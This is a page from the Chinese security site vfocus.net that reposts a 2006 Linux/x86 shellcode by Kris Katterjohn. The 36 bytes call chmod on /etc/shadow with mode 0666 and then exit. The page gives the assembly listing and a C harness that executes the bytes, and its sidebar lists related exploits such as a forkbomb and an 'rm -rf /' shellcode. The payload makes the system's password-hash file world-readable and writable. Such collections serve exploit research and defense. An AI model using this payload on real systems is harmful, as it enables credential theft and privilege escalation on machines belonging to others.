首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 chmod 0666 /etc/shadow 36 bytes
来源:vfocus.net 作者:Kris 发布时间:2006-11-20  

/* By Kris Katterjohn 8/29/2006
*
* 36 byte shellcode to chmod("/etc/shadow", 0666) and exit for Linux/x86
*
* To remove exit(): Remove the last 5 bytes (0x6a - 0x80)
*
*
*
* section .text
*
* global _start
*
* _start:
* xor edx, edx
*
* push byte 15
* pop eax
* push edx
* push byte 0x77
* push word 0x6f64
* push 0x6168732f
* push 0x6374652f
* mov ebx, esp
* push word 0666Q
* pop ecx
* int 0x80
*
* push byte 1
* pop eax
* int 0x80
*/

main()
{
char shellcode[] =
"\x31\xd2\x6a\x0f\x58\x52\x6a\x77\x66\x68\x64\x6f\x68"
"\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\x68"
"\xb6\x01\x59\xcd\x80\x6a\x01\x58\xcd\x80";

(*(void (*)()) shellcode)();
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux/x86 forkbomb 7 bytes
·linux/x86 set system time to 0
·linux/x86 execve(rm -rf /) she
·linux/x86 /sbin/ipchains -F 41
·UniversalFTP 1.0.50 (MKD) Remo
·MS Windows NetpManageIPCConnec
·WinZIP <= 10.0.7245 (FileVi
·MS Windows Wkssvc NetrJoinDoma
·Kerio WebSTAR 5.4.2 (libucache
·MS Windows NetpManageIPCConnec
·WinZIP <= 10.0.7245 (FileVi
·XMPlay 3.3.0.4 (M3U Filename)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved